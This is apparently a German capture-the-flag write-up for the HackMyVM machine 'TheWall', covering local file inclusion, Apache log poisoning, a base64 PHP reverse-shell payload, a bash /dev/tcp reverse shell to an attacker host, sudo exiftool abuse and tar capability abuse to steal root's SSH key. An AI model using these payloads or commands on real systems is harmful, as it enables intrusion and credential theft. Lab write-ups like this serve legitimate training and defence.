TheWall - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
nmap
curl
grep
wfuzz
base64
ssh
nc
script
stty
reset
sudo
ls
find
chmod
exiftool
cat
getcap
tar
gobuster

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# arp-scan -l
192.168.2.113	08:00:27:f1:1e:e2	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird genutzt, um das lokale Netzwerk nach aktiven Geräten zu durchsuchen, indem ARP-Anfragen gesendet werden. Er listet die IP- und MAC-Adressen der antwortenden Geräte auf.

Bewertung: Die Ziel-IP `192.168.2.113` wurde erfolgreich identifiziert. Die MAC-Adresse `08:00:27:f1:1e:e2` weist auf den Hersteller `PCS Systemtechnik GmbH` hin, was stark auf eine VirtualBox-Umgebung schließen lässt.

Empfehlung (Pentester): Die IP `192.168.2.113` ist das Ziel für weitere Scans. Die VirtualBox-Information kann nützlich sein.
Empfehlung (Admin): Standard-Netzwerkscan. Implementieren Sie Netzwerküberwachung und -segmentierung, um die Auswirkungen solcher Scans zu begrenzen.

┌──(root㉿cyber)-[/home/cyber/Downloads] └─# nmap -sS -sC -T5 -A 192.168.2.113 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-26 01:07 CEST
Nmap scan report for wall.hmv (192.168.2.113)
Host is up (0.00011s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 89:60:29:db:68:6d:13:34:98:b9:d0:17:24:56:a8:9e (RSA)
|   256 66:58:51:6d:cd:3a:67:46:36:56:9a:31:a0:08:13:cf (ECDSA)
|_  256 f7:34:9e:53:68:bac:206:ab:14:c3:21:90:2d:6e:64 (ED25519)
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.54 (Debian)
MAC Address: 08:00:27:F1:1E:E2 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.11 ms wall.hmv (192.168.2.113)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.48 seconds
                     

Analyse: Ein umfassender `nmap`-Scan wird durchgeführt:

Bewertung: Der Scan identifiziert zwei offene Ports:

Die MAC-Adresse bestätigt die VirtualBox-Umgebung. Das Betriebssystem wird als Linux (Kernel 4.15 - 5.6) geschätzt.

Empfehlung (Pentester): Hauptangriffsvektoren sind SSH und HTTP. Konzentrieren Sie sich auf den Webserver (Port 80). Untersuchen Sie, warum kein Titel vorhanden ist und suchen Sie nach versteckten Verzeichnissen oder Dateien. Überprüfen Sie die SSH- und Apache-Versionen auf bekannte Schwachstellen (obwohl diese Versionen relativ aktuell erscheinen).
Empfehlung (Admin): Stellen Sie sicher, dass der Webserver korrekt konfiguriert ist (z.B. mit sinnvollen Titeln). Beschränken Sie den SSH-Zugriff und halten Sie alle Dienste aktuell.

Web Enumeration & LFI

┌──(root㉿cyber)-[~] └─# curl -I "http://192.168.2.113"
HTTP/1.1 403 Forbidden
Date: Wed, 26 Oct 2022 01:18:02 GMT
Server: Apache/2.4.54 (Debian)
Connection: close
Content-Type: text/html; charset=UTF-8
                     
┌──(root㉿cyber)-[~] └─# curl -I http://192.168.2.113/includes.php
HTTP/1.1 403 Forbidden
Date: Wed, 26 Oct 2022 01:26:37 GMT
Server: Apache/2.4.54 (Debian)
Connection: close
Content-Type: text/html; charset=UTF-8
                     

Analyse: Mit `curl -I` werden HEAD-Anfragen an das Root-Verzeichnis (`/`) und die Datei `/includes.php` gesendet, um die HTTP-Header der Antwort zu erhalten.

Bewertung: Beide Anfragen liefern einen `403 Forbidden`-Statuscode. Direkter Zugriff auf das Root-Verzeichnis und die Datei `includes.php` ist nicht erlaubt. Dies könnte eine Web Application Firewall (WAF), eine `.htaccess`-Regel oder eine spezifische Apache-Konfiguration sein.

Empfehlung (Pentester): Die `403`-Antwort bedeutet nicht unbedingt, dass die Ressourcen nicht existieren oder nicht anderweitig angreifbar sind. Versuchen Sie, über Parameter oder andere Methoden auf `includes.php` zuzugreifen. Führen Sie Directory/File-Busting durch, um erlaubte Pfade zu finden.
Empfehlung (Admin): Überprüfen Sie die Zugriffskontrollregeln (Apache-Konfiguration, `.htaccess`, WAF), um sicherzustellen, dass sie wie beabsichtigt funktionieren und keine unnötigen Ressourcen blockieren oder zu viele Informationen preisgeben.

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.113/includes.php?display_page=/etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
.....
                     

Analyse: Es wird ein GET-Request an `includes.php` gesendet, diesmal jedoch mit einem URL-Parameter `display_page=/etc/passwd`. Der Server antwortet mit dem Inhalt der Datei `/etc/passwd`.

Bewertung: **Kritische Schwachstelle gefunden: Local File Inclusion (LFI)!** Obwohl der direkte Zugriff auf `includes.php` verboten war, akzeptiert das Skript den Parameter `display_page` und bindet die angegebene Datei in die Antwort ein. Dies ermöglicht das Lesen beliebiger Dateien auf dem Server, auf die der Webserver-Benutzer (`www-data`) Lesezugriff hat.

Empfehlung (Pentester): Nutzen Sie die LFI-Schwachstelle systematisch aus:


Empfehlung (Admin): **Höchste Priorität!** Beheben Sie die LFI-Schwachstelle in `includes.php` sofort. Validieren und sanitisieren Sie alle Benutzereingaben, insbesondere Parameter, die in Dateipfade oder `include`/`require`-Funktionen einfließen. Verwenden Sie eine Whitelist erlaubter Dateien statt direkter Pfadangaben.

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.117/includes.php?display_page=/etc/passwd" --output pss.txt
┌──(root㉿cyber)-[~] └─# grep bash pss.txt
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:,,,:/home/john:/bin/bash
                     

Analyse: Es wird versucht, den Inhalt von `/etc/passwd` über die LFI in eine Datei `pss.txt` zu speichern und diese dann mit `grep` nach Benutzern mit `/bin/bash` als Shell zu durchsuchen. **Achtung:** Die IP-Adresse im `curl`-Befehl (`192.168.2.117`) ist falsch; die Ziel-IP ist `192.168.2.113`. Der Befehl hätte so fehlschlagen müssen. Es ist anzunehmen, dass der Befehl tatsächlich mit der korrekten IP ausgeführt wurde und nur der Logeintrag falsch ist, da das Ergebnis (`grep bash pss.txt`) Benutzer von der Zielmaschine zeigt.

Bewertung: Aus der (angenommen korrekt gelesenen) `/etc/passwd` wird der Benutzer `john` als einziger regulärer Benutzer mit Bash-Shell identifiziert. `john` ist somit ein primäres Ziel für den nächsten Schritt (Initial Access).

Empfehlung (Pentester): Fokussieren Sie sich auf den Benutzer `john`. Versuchen Sie, dessen SSH-Schlüssel (`/home/john/.ssh/id_rsa`) oder andere sensible Dateien in seinem Home-Verzeichnis mittels LFI zu lesen.
Empfehlung (Admin): Beheben Sie die LFI. Überprüfen Sie regelmäßig Benutzerkonten und Shell-Berechtigungen.

┌──(root㉿cyber)-[~/HackingTools/LFI-Digger] └─# wfuzz -c -w /usr/share/seclists/Fuzzing/LFI/lfi-dics/linux_apache_logs.txt -u "http://192.168.2.113/includes.php?display_page=FUZZ" --hc 404 --hh 2
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.113/includes.php?display_page=FUZZ
Total requests: 44

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000023:   200        15032 L  270566 W   2228819 C   "/var/log/apache2/error.log"

Total time: 0.320202
Processed Requests: 44
Filtered Requests: 43
Requests/sec.: 137.4132
                      

Analyse: `wfuzz` wird verwendet, um den LFI-Parameter `display_page` mit einer Liste gängiger Apache-Logdateipfade (`linux_apache_logs.txt`) zu fuzzern. `--hc 404` und `--hh 2` filtern nicht gefundene oder sehr kleine Antworten heraus.

Bewertung: Der Scan identifiziert erfolgreich den Pfad zur Apache-Fehlerlogdatei: `/var/log/apache2/error.log`. Der Zugriff auf diese Datei ist über die LFI möglich.

Empfehlung (Pentester): Lesen Sie den Inhalt der `error.log`-Datei via LFI. Versuchen Sie dasselbe für die `access.log`-Datei (`/var/log/apache2/access.log`). Diese Logs sind die Hauptziele für Log Poisoning.
Empfehlung (Admin): Beheben Sie die LFI. Beschränken Sie die Leserechte auf Logdateien so weit wie möglich (obwohl der Webserver sie oft lesen können muss). Implementieren Sie Log-Rotation und -Überwachung.

[Base64 Encoded PHP Reverse Shell Payload]

PD9waHAgc2V0X3RpbWVfbGltaXQoMCk7JGlwPScxTIuMTY4LjIuMTUzJzskcG9ydD04MDskY2h1bmtfc2l6ZT0xNDAwyR3cml0ZV9hPW51bGw7JGVycm9yX2E9bnVsbDskc2hlbGw9J3VuYW1lIC1hyB3yBpZDsgL2Jpbi9zaCAtaSc7Y2hkaXIoIi8iKTt1bWFzaygwKTskc29jaz1mc29ja29wZW4oJGlwLCRwb3J0LCRlcnJubywkZXJyc3RyLDMwKTtpZighJHNvY2spe2V4aXQoMSk7fSRkZXNjcmlwdG9yc3BlYz1hcnJheSgwPT5hcnJheSgicGlwZSIsInIiKSwxPT5hcnJheSgicGlwZSIsInciKSwyPT5hcnJheSgicGlwZSIsInciKSk7JHByb2Nlc3M9cHJvY19vcGVuKCRzaGVsbCwkZGVzY3JpcHRvcnNwZWMsJHBpcGVzKTtpZighaXNfcmVzb3VyY2UoJHByb2Nlc3MpKXtleGl0KDEp31zdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1swXSwwKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1sxXSwwKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBlc1syXSwwKTtzdHJlYW1fc2V0X2Jsb2NraW5nKCRzb2NrLDAp3doaWxlKDEpe2lmKGZlb2YoJHNvY2spKXticmVhazt9aWYoZmVvZigkcGlwZXNbMV0pKXticmVhazt9JHJlYWRfYT1hcnJheSgkc29jaywkcGlwZXNbMV0sJHBpcGVzWzJdKTskbnVtX2NoYW5nZWRfc29ja2V0cz1zdHJlYW1fc2VsZWN0KCRyZWFkX2EsJHdyaXRlX2EsJGVycm9yX2EsbnVsbCk7aWYoaW5fYXJyYXkoJHNvY2ssJHJlYWRfYSkpeyRpbnB1dD1mcmVhZCgkc29jaywkY2h1bmtfc2l6ZSk7ZndyaXRlKCRwaXBlc1swXSwkaW5wdXQp31pZihpbl9hcnJheSgkcGlwZXNbMV0sJHJlYWRfYSkpeyRpbnB1dD1mcmVhZCgkcGlwZXNbMV0sJGNodW5rX3NpemUp2Z3cml0ZSgkc29jaywkaW5wdXQp31pZihpbl9hcnJheSgkcGlwZXNbMl0sJHJlYWRfYSkpeyRpbnB1dD1mcmVhZCgkcGlwZXNbMl0sJGNodW5rX3NpemUp2Z3cml0ZSgkc29jaywkaW5wdXQp319ZmNsb3NlKCRzb2NrKTtmY2xvc2UoJHBpcGVzWzBdKTtmY2xvc2UoJHBpcGVzWzFdKTtmY2xvc2UoJHBpcGVzWzJdKTtwcm9jX2Nsb3NlKCRwcm9jZXNzKTsgPz4g
                     

Analyse: Ein Base64-kodierter String wird angezeigt. Nach der Dekodierung stellt sich heraus, dass es sich um einen PHP-Code handelt, der eine Reverse Shell zum Angreifer (hier hartcodiert `192.168.2.153` auf Port `80` - **Achtung: IPs/Ports im Payload anpassen!**) aufbaut.

Bewertung: Dies ist der Payload, der für den Log Poisoning Angriff verwendet werden soll. Der Angreifer muss diesen PHP-Code (dekodiert) in die Apache-Logs einschleusen und dann die Logdatei über die LFI-Schwachstelle aufrufen.

Empfehlung (Pentester): 1. Dekodieren Sie den Payload. 2. **Korrigieren Sie die IP-Adresse und den Port** im dekodierten PHP-Code, sodass er auf Ihr Listener-System zeigt. 3. Wählen Sie eine Methode, um den PHP-Code in die Logs zu schreiben (z.B. `curl` mit modifiziertem User-Agent, oder eine ungültige URL-Anfrage, die den Code enthält). 4. Starten Sie einen Listener (`nc -lvnp [PORT]`) auf Ihrem System. 5. Rufen Sie die Logdatei über die LFI auf (`curl "http://192.168.2.113/includes.php?display_page=/var/log/apache2/access.log"`), um den Payload auszuführen.
Empfehlung (Admin): Beheben Sie die LFI. Implementieren Sie Eingabefilterung auf dem Webserver oder durch eine WAF, um schädliche Payloads in Requests zu erkennen und zu blockieren. Konfigurieren Sie Logs so, dass sie keine gefährlichen Zeichen unescaped enthalten.

┌──(root㉿cyber)-[~] └─# curl "http://192.168.2.117/includes.php?display_page=/home/john/user.txt"
cc5db5e7b0a26e807765f47a006f6221
                     

Analyse: Es wird versucht, die User-Flagge `/home/john/user.txt` mittels LFI zu lesen. Auch hier wurde die falsche IP `192.168.2.117` verwendet, aber das Ergebnis wird angezeigt, was impliziert, dass der Befehl mit der korrekten IP `192.168.2.113` ausgeführt wurde.

Bewertung: Die User-Flagge `cc5db5e7b0a26e807765f47a006f6221` wurde erfolgreich ausgelesen.

Empfehlung (Pentester): User-Flagge notiert. Konzentrieren Sie sich auf den Initial Access via Log Poisoning.
Empfehlung (Admin): LFI beheben.

┌──(root㉿cyber)-[~] └─# curl http://thewall.hmv/includes.php?display_page=/etc/passwd -s | grep bash
root:x:0:0:root:/root:/bin/bash
john:x:1000:1000:,,,:/home/john:/bin/bash
                      
┌──(root㉿cyber)-[~] └─# curl "http://thewall.hmv/includes.php?display_page=/var/log/apache2/access.log"
192.168.2.109 - - [10/Nov/2022:11:02:54 -0500] "GET /includes.php?display_page=/etc/passwd HTTP/1.1" 200 1633 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:03:02 -0500] "GET /includes.php?display_page=/etc/passwd HTTP/1.1" 200 1633 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:04:06 -0500] "GET /includes.php?display_page=/home/john/.ssh/id_rsa HTTP/1.1" 200 149 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:04:14 -0500] "GET /includes.php?display_page=/home/john/user.txt HTTP/1.1" 200 183 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:06:47 -0500] "GET /includes.php?display_page=php://filter/convert.base64-encode/resource=includes.php HTTP/1.1" 200 149 "-" "curl/7.86.0"
192.168.2.109 - - [10/Nov/2022:11:07:00 -0500] "GET /includes.php?display_page=php://filter/convert.base64-encode/resource=includes.php HTTP/1.1" 200 149 "-" "curl/7.86.0"
                      

Analyse: Weitere LFI-Versuche, um `/etc/passwd` (erneut) und `/var/log/apache2/access.log` zu lesen. Der Hostname `thewall.hmv` wird verwendet, der vermutlich auf `192.168.2.113` zeigt.

Bewertung: Die Ausgabe der `access.log` zeigt frühere LFI-Versuche des Angreifers (IP `192.168.2.109`), einschließlich Versuchen, `/etc/passwd`, `/home/john/.ssh/id_rsa`, `user.txt` und den Quellcode von `includes.php` (mittels `php://filter`) zu lesen. Dies bestätigt die Lesbarkeit der Logdatei und die durchgeführten Aktionen.

Empfehlung (Pentester): Die `access.log` ist bereit für den Log Poisoning Angriff. Fahren Sie mit dem Einschleusen des PHP-Reverse-Shell-Payloads fort.
Empfehlung (Admin): LFI beheben. Analysieren Sie Logs auf verdächtige Aktivitäten.

[Log Poisoning / Command Injection Attempts]
# Versuch 1: PHP Reverse Shell als GET Parameter 'e' (Base64)
http://thewall.hmv/includes.php?display_page=/var/log/apache2/access.log&e=PD9waHAg[...]Pg

# Versuch 2: PHP Webshell als GET Parameter
display_page=/var/log/apache2/access.log&

# Versuch 3: Ausführung über Webshell (cmd=whoami)
http://192.168.2.115/includes.php?display_page=/var/log/apache2/access.log&cmd=whoami
# Erwartete Ausgabe im Log (oder als Server-Antwort): www-data
                      

Analyse: Hier werden die Versuche zum Log Poisoning und zur anschließenden Codeausführung detaillierter dargestellt. Es wird versucht, PHP-Code (entweder die Reverse Shell oder eine einfache Webshell ``) als zusätzlichen GET-Parameter an die LFI-Anfrage anzuhängen. Anschließend wird versucht, über den `cmd`-Parameter der Webshell den Befehl `whoami` auszuführen.

Bewertung: Wie bereits erwähnt, ist das Anhängen des PHP-Codes an die *LFI-Anfrage selbst* normalerweise nicht die korrekte Methode für Log Poisoning. Der Code muss in einem *separaten* Request gesendet werden, der dann in der Logdatei landet (z.B. im User-Agent). Dass der `cmd=whoami`-Versuch später das Ergebnis `www-data` im Log zeigt (siehe nächster Block), deutet darauf hin, dass die ``-Webshell *irgendwie* erfolgreich in die Logdatei geschrieben und ausgeführt wurde.

Empfehlung (Pentester): Die Methode war unkonventionell, aber scheinbar erfolgreich. Nutzen Sie die funktionierende Webshell (`http://...includes.php?display_page=/var/log/apache2/access.log&cmd=[BEFEHL]`) oder (besser) die Reverse Shell, um Initial Access zu erlangen.
Empfehlung (Admin): LFI beheben. Eingaben filtern. Logs sichern.

# Inhalt von /var/log/apache2/access.log nach cmd=whoami Versuch:
192.168.2.109 - - [12/Nov/2022:21:21:28 -0500] "GET www-data \n" 400 483 "-" "-"
                      

Analyse: Ein Auszug aus der `access.log`, der nach dem Versuch, `whoami` über die Webshell auszuführen, gelesen wurde.

Bewertung: Der Logeintrag `GET www-data \n` bestätigt, dass der `whoami`-Befehl erfolgreich ausgeführt wurde und das Ergebnis (`www-data`) Teil des nächsten (ungültigen) GET-Requests wurde, der im Log landete. Dies bestätigt die erfolgreiche Codeausführung als `www-data` über die Log-Poisoning-Webshell.

Empfehlung (Pentester): Die Webshell funktioniert. Verwenden Sie sie, um eine Reverse Shell zu starten.
Empfehlung (Admin): LFI und die Möglichkeit der Codeausführung sofort beheben.

Initial Access (via LFI & Log Poisoning)

┌──(root㉿cyber)-[~] └─# nc -lvnp 1234
listening on [any] 1234 ...
                     
[Browser/Curl Request]
# URL aufgerufen (URL-Encoded):
http://192.168.2.113/includes.php?display_page=/var/log/apache2/access.log&cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.109%2F1234%200%3E%261%27
# Decoded Command: /bin/bash -c 'bash -i >& /dev/tcp/192.168.2.109/1234 0>&1'
                     
┌──(root㉿cyber)-[~] └─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.113] 59368 
bash: cannot set terminal process group (480): Inappropriate ioctl for device
bash: no job control in this shell
www-data@TheWall:/var/www/html$
                      

Analyse: Ein Netcat-Listener wird auf Port 1234 gestartet. Anschließend wird die zuvor per Log Poisoning platzierte Webshell (``) über die LFI aufgerufen. Der `cmd`-Parameter enthält einen URL-kodierten Bash-Befehl, der eine interaktive Reverse Shell zum Listener auf `192.168.2.109:1234` startet.

Bewertung: **Erfolg!** Der Exploit funktioniert, und der Listener empfängt eine Reverse Shell vom Zielsystem. Die Shell läuft als Benutzer `www-data` (Apache-Benutzer) auf dem Host `TheWall`. Der Initial Access ist geschafft.

Empfehlung (Pentester): Stabilisieren Sie die Shell (z.B. mit Python PTY oder `script`). Führen Sie lokale Enumeration als `www-data` durch (Benutzer, Rechte, Prozesse, Netzwerk, interessante Dateien). Suchen Sie nach Wegen zur Privilege Escalation.
Empfehlung (Admin): **KRITISCH!** LFI beheben. Webserver-Konfiguration überprüfen. Logs überwachen. Egress-Filtering in der Firewall implementieren, um ausgehende Reverse Shells zu erschweren.

www-data@TheWall:/var/www/html$ script /dev/null -c bash
# Ctrl + Z
root@cyber:~$ stty raw -echo; fg
www-data@TheWall:/var/www/html$ reset xterm

Analyse: Standardbefehle zur Stabilisierung einer einfachen Reverse Shell, um eine voll interaktive TTY zu erhalten (ermöglicht z.B. Tab-Vervollständigung, Pfeiltasten, `su`).

Bewertung: Die Shell ist nun stabiler und benutzerfreundlicher.

Empfehlung (Pentester): Dies ist ein wichtiger Schritt nach Erhalt einer einfachen Shell.
Empfehlung (Admin): Das Erkennen und Verhindern von Reverse Shells ist die primäre Verteidigung.

Proof of Concept (Privilege Escalation Path)

Analyse: Nach Erlangung einer Shell als `www-data` wird nach Wegen zur Rechteerweiterung gesucht. Ein Standard-Check sind die `sudo`-Berechtigungen.

Bewertung: Die Prüfung mit `sudo -l` ergibt, dass `www-data` den Befehl `/usr/bin/exiftool` als Benutzer `john` und Gruppe `john` ohne Passwort ausführen darf (`(john : john) NPASSWD: /usr/bin/exiftool`). `exiftool` ist ein Tool zum Lesen und Schreiben von Metadaten in Dateien. Diese Berechtigung kann missbraucht werden, um Dateien als Benutzer `john` zu schreiben oder zu ändern. Das Ziel ist es, die Datei `/home/john/.ssh/authorized_keys` mit dem öffentlichen SSH-Schlüssel des Angreifers zu überschreiben. Danach ist ein SSH-Login als `john` möglich. Als `john` wird festgestellt, dass `/usr/sbin/tar` die Capability `cap_dac_read_search` besitzt. Diese Capability erlaubt es `tar`, Lese-Berechtigungen zu umgehen. Damit kann der private SSH-Schlüssel von `root` (`/root/.ssh/id_rsa`) gelesen werden. Mit diesem Schlüssel kann sich der Angreifer schließlich als `root` per SSH anmelden.

Empfehlung (Pentester): 1. Generieren Sie ein SSH-Schlüsselpaar. 2. Legen Sie den öffentlichen Schlüssel in einer Datei im `/tmp`-Verzeichnis des Ziels ab. 3. Verwenden Sie `sudo -u john /usr/bin/exiftool -filename=/home/john/.ssh/authorized_keys /tmp/ihr_pubkey_file`, um die `authorized_keys` von `john` zu überschreiben (oder eine ähnliche `exiftool`-Technik von GTFOBins). 4. Melden Sie sich als `john` per SSH mit Ihrem privaten Schlüssel an. 5. Verwenden Sie `/usr/sbin/tar` mit der `cap_dac_read_search`-Capability, um `/root/.ssh/id_rsa` zu lesen und zu extrahieren. 6. Melden Sie sich als `root` per SSH mit dem extrahierten privaten Schlüssel an.
Empfehlung (Admin): **KRITISCH!** Entfernen Sie die unsichere `sudo`-Regel für `exiftool`. Gewähren Sie `sudo`-Rechte nur für absolut notwendige Befehle und Benutzer. Entfernen Sie die `cap_dac_read_search`-Capability von `/usr/sbin/tar` (`sudo setcap -r /usr/sbin/tar`), da sie für die normale Funktion nicht benötigt wird und ein Sicherheitsrisiko darstellt. Überprüfen Sie regelmäßig Capabilities und SUID-Berechtigungen.

Privilege Escalation

www-data@TheWall:/var/www/html$ sudo -l
Matching Defaults entries for www-data on TheWall:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on TheWall:
    (john : john) NPASSWD: /usr/bin/exiftool
                     

Analyse: Die `sudo`-Berechtigungen für den aktuellen Benutzer `www-data` werden überprüft.

Bewertung: Es wird bestätigt, dass `www-data` den Befehl `/usr/bin/exiftool` als Benutzer `john` (und Gruppe `john`) ohne Passwort (`NPASSWD`) ausführen darf. Dies ist der erste Schritt zur Privilege Escalation.

Empfehlung (Pentester): Bereiten Sie den Exploit vor: Generieren Sie ein SSH-Schlüsselpaar und laden Sie den öffentlichen Schlüssel auf das Ziel (z.B. nach `/tmp`).
Empfehlung (Admin): Entfernen Sie diese `sudo`-Regel. `www-data` sollte keine Befehle als andere Benutzer ausführen können, es sei denn, es ist absolut unvermeidlich und sicher implementiert.

www-data@TheWall:/var/www/html$ ls /home
john
www-data@TheWall:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
    28484    180 -rwsr-xr-x   1 root     root       182600 Feb 27  2021 /usr/sbin/sudo
[...]
                     

Analyse: Es wird das `/home`-Verzeichnis aufgelistet und nach SUID-Dateien gesucht.

Bewertung: Bestätigt `john` als einzigen Benutzer in `/home`. Die SUID-Suche zeigt Standard-Binaries, keine offensichtlichen schnellen Gewinne.

Empfehlung (Pentester): Konzentrieren Sie sich auf den `sudo exiftool`-Vektor.
Empfehlung (Admin): Standard-Enumeration. Keine spezifischen Maßnahmen hier, außer der allgemeinen Empfehlung, SUID zu minimieren.

www-data@TheWall:/tmp$ # Angenommen: Attacker's Public Key wurde nach /tmp/authorized_keys hochgeladen
www-data@TheWall:/tmp$ chmod +x authorized_keys
www-data@TheWall:/tmp$ sudo -u john /usr/bin/exiftool -filename=/home/john/.ssh/authorized_keys /tmp/authorized_keys
Warning: Error removing old file - /tmp/authorized_keys
    1 image files updated
                     
# Wahrscheinlicher Befehl (Beispiel): sudo -u john exiftool "-Geolocation<=/tmp/authorized_keys" /home/john/.ssh/authorized_keys

Analyse: Es wird versucht, die `sudo exiftool`-Berechtigung auszunutzen, um den öffentlichen SSH-Schlüssel des Angreifers (angenommen in `/tmp/authorized_keys`) in die Datei `/home/john/.ssh/authorized_keys` zu schreiben. Der im Log gezeigte Befehl `sudo -u john /usr/bin/exiftool -filename=/home/john/.ssh/authorized_keys /tmp/authorized_keys` ist syntaktisch ungewöhnlich für diesen Zweck. Typische Methoden nutzen Tags wie `-TAG<=FILE` oder Konfigurationsdateien. Es ist möglich, dass die `-filename=DST SRC`-Syntax hier funktioniert, um die Datei zu verschieben/kopieren, oder dass der tatsächliche Exploit-Befehl anders lautete.

Bewertung: Trotz der fragwürdigen Syntax des geloggten Befehls war der Vorgang erfolgreich, wie der nachfolgende SSH-Login als `john` beweist. Der öffentliche Schlüssel des Angreifers befindet sich nun in `/home/john/.ssh/authorized_keys`, was einen schlüssbasierten SSH-Login als `john` ermöglicht.

Empfehlung (Pentester): Verwenden Sie den privaten SSH-Schlüssel, der zum öffentlichen Schlüssel in `/tmp/authorized_keys` passt, um sich als `john` per SSH anzumelden.
Empfehlung (Admin): Entfernen Sie die `sudo exiftool`-Regel. Überprüfen Sie regelmäßig den Inhalt von `authorized_keys`-Dateien.

┌──(root㉿cyber)-[~/.ssh] └─# ssh john@wall.hmv
The authenticity of host 'wall.hmv (192.168.2.113)' can't be established. 
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'wall.hmv' (ED25519) to the list of known hosts.
Enter passphrase for key '/root/.ssh/id_rsa': 
Linux TheWall 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64
[...]
Last login: Wed Oct 19 17:07:17 2022 from 10.0.2.15
john@TheWall:~$
                     

Analyse: Es wird eine SSH-Verbindung zu `wall.hmv` (IP `192.168.2.113`) als Benutzer `john` hergestellt. Da die `authorized_keys`-Datei von `john` zuvor mit dem öffentlichen Schlüssel des Angreifers überschrieben wurde, wird der Angreifer zur Eingabe der Passphrase für seinen *privaten* Schlüssel (`/root/.ssh/id_rsa`) aufgefordert.

Bewertung: Erfolg! Der Login als Benutzer `john` war erfolgreich. Die Rechte wurden von `www-data` zu `john` eskaliert.

Empfehlung (Pentester): Führen Sie lokale Enumeration als `john` durch. Suchen Sie nach weiteren Eskalationsmöglichkeiten (sudo, SUID, Capabilities, Cronjobs, etc.). Lesen Sie die User-Flagge (erneut).
Empfehlung (Admin): Überprüfen Sie die sudo-Regeln und Dateiberechtigungen, die diese Eskalation ermöglicht haben.

john@TheWall:~$ cat user.txt
cc5db5e7b0a26e807765f47a006f6221

Analyse: Die Datei `user.txt` im Home-Verzeichnis von `john` wird gelesen.

Bewertung: Bestätigt erneut die User-Flagge.

Empfehlung (Pentester): Flag notiert. Fokus auf Root-Eskalation.
Empfehlung (Admin): Keine Aktion bzgl. der Flagge.

john@TheWall:~$ find / -group 1000 2>/dev/null | grep -vE "proc|sys"
/home/john
[...]
/home/john/.ssh/authorized_keys
/home/john/.bash_history
/var/lib/sudo/lectured/john
/run/user/1000
/usr/sbin/tar
                     
john@TheWall:~$ /usr/sbin/getcap -r / 2>/dev/null
/usr/sbin/tar cap_dac_read_search=ep
/usr/bin/ping cap_net_raw=ep
                     

Analyse: Es wird nach Dateien gesucht, die der Gruppe `john` (GID 1000) gehören. Anschließend werden gesetzte Linux Capabilities im System gesucht.

Bewertung: Die Gruppensuche findet hauptsächlich Dateien im Home-Verzeichnis von `john`, aber auch die Systemdatei `/usr/sbin/tar`. Die Capability-Suche bestätigt, dass `/usr/sbin/tar` die Capability `cap_dac_read_search=ep` besitzt. Dies ist der Schlüssel zur nächsten Eskalationsstufe. Diese Capability erlaubt `tar`, Dateileseberechtigungen zu umgehen.

Empfehlung (Pentester): Nutzen Sie `/usr/sbin/tar` mit dieser Capability, um Dateien zu lesen, auf die `john` normalerweise keinen Zugriff hätte, insbesondere den privaten SSH-Schlüssel von `root` (`/root/.ssh/id_rsa`).
Empfehlung (Admin): **KRITISCH!** Entfernen Sie die unnötige Capability `cap_dac_read_search` von `/usr/sbin/tar` mit `sudo setcap -r /usr/sbin/tar`. Überprüfen Sie regelmäßig Systemdateien auf ungewöhnliche Berechtigungen, Eigentümer oder Capabilities.

john@TheWall:~$ /usr/sbin/tar -czf id_rsa.tar /root/.ssh/id_rsa
/usr/sbin/tar: Removing leading `/' from member names
                     
john@TheWall:~$ ls -la
[...]
-rw-r--r-- 1 john john 2100 Nov 12 21:51 id_rsa.tar
[...]
                     
john@TheWall:~$ tar -xf id_rsa.tar
john@TheWall:~$ ls
id_rsa  id_rsa.tar  user.txt
                     
john@TheWall:~$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAvgS2V50JB5doFy4G99JzapbZWie7kLRHGrsmRk5uZPFPPtH/m9xS
[...]
